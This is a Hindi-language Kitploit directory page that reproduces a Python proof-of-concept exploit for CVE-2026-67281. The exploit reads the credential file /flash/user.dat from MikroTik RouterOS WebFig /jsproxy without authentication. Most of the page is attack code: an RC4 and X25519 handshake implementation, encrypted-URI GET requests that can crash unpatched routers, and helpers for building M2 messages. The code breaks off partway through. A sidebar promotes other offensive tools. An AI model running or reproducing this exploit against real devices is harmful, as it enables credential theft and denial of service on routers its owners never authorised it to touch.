Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281- — CVE-2026-67281 के लिए Python PoC: एन्क्रिप्टेड-URI GET, M2 संदेश POST, और स्थिर ट्रैवर्सल पथों के माध्यम से RouterOS WebFig /jsproxy का शोषण करके /flash/user.dat पढ़ता है। | Kitploit
उपकरण/GitHubGitHub/sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-
एम्बेडेड सिस्टम सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनावेब सुरक्षानेटवर्क सुरक्षा
GitHub
साझा करें
sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

CVE-2026-67281 के लिए Python PoC: एन्क्रिप्टेड-URI GET, M2 संदेश POST, और स्थिर ट्रैवर्सल पथों के माध्यम से RouterOS WebFig /jsproxy का शोषण करके /flash/user.dat पढ़ता है।

रिपॉजिटरी देखें
241 महीना पहलेअभी तक समीक्षित नहीं

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

#!/usr/bin/env python3

-- coding: utf-8 --

""" CVE-2026-67281 — RouterOS WebFig /jsproxy फ़ाइल-पठन वेरिएंट।

तीन स्वतंत्र कोड पथों के माध्यम से /flash/user.dat पढ़ने का प्रयास करता है:

पथ A — एन्क्रिप्टेड-URI GET (GET /jsproxy/?) डिक्रिप्ट + authz के बाद nv::findFile तक पहुँचता है। अनपैच्ड 7.21.5 पर session list_head बग के कारण क्रैश होता है; अपेक्षा है कि MikroTik द्वारा DoS पैच करने के बाद यह काम करेगा।

पथ B — M2 संदेश POST (M2 बॉडी के साथ POST /jsproxy) nv::Handler::handle → checkAccess → is_allowed का उपयोग करता है। क्रैश करने वाले डिक्रिप्ट पथ को नहीं छूता। सही cmd नेमस्पेस की आवश्यकता होती है, जिसे यह स्क्रिप्ट प्रगणित करती है।

पथ C — प्रत्यक्ष स्टैटिक GET (GET /webfig/) /home/web/ से स्टैटिक फ़ाइलें सर्व करता है। सर्विंग रूट के विरुद्ध बुनियादी ट्रैवर्सल प्रोब शामिल हैं।

प्रत्येक पथ स्वतंत्र है। स्क्रिप्ट उन्हें क्रम से चलाती है और रिपोर्ट करती है कि क्या काम किया, क्रैश के बाद पुनः प्रयास किए बिना।

केवल अधिकृत-लैब उपयोग के लिए। """

import hashlib import secrets import struct import sys import time

import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)

---------------------------------------------------------------------

प्रोटोकॉल स्थिरांक

---------------------------------------------------------------------

MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")

SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")

M2 फ़ील्ड प्रकार टैग (4-बाइट फ़ील्ड हेडर के शीर्ष 5 बिट्स)

FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27 FS_SHORT, FS_LONG = 1 << 24, 1 << 25

---------------------------------------------------------------------

RC4-drop-768

---------------------------------------------------------------------

class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0

def set_key(self, key: bytes) -> None:
    if not key:
        raise ValueError("empty RC4 key")
    self.S = list(range(256))
    self.i = self.j = 0
    j = 0
    for i in range(256):
        j = (j + self.S[i] + key[i % len(key)]) & 0xff
        self.S[i], self.S[j] = self.S[j], self.S[i]
    for _ in range(768):
        self.gen()

def gen(self) -> int:
    self.i = (self.i + 1) & 0xff
    self.j = (self.j + self.S[self.i]) & 0xff
    self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
    return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]

def crypt(self, data: bytes) -> bytes:
    return bytes(v ^ self.gen() for v in data)

---------------------------------------------------------------------

KDF / X25519

---------------------------------------------------------------------

def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]

def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]

def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]

---------------------------------------------------------------------

JS-निष्ठ URI एन्कोडिंग

---------------------------------------------------------------------

def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)

---------------------------------------------------------------------

Handshake

---------------------------------------------------------------------

def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx

---------------------------------------------------------------------

Path A — encrypted-URI GET

---------------------------------------------------------------------

def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}

try:
    sid, tx, _ = handshake(base, http)
except Exception as e:
    result["error"] = f"handshake: {e!r}"
    return result

pt  = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)

try:
    r = http.get(url, timeout=timeout)
    result["status"] = r.status_code
    result["body"] = r.content
except requests.exceptions.ConnectionError as e:
    result["crashed"] = True
    result["error"] = repr(e)
except requests.RequestException as e:
    result["error"] = repr(e)

return result

---------------------------------------------------------------------

Path B — M2 message POST

---------------------------------------------------------------------

def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))

def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))

def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)

def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out

def _str(name, s): raw = s.encode("utf-8") if len(raw) < 256: return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw

def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    370
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    289

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →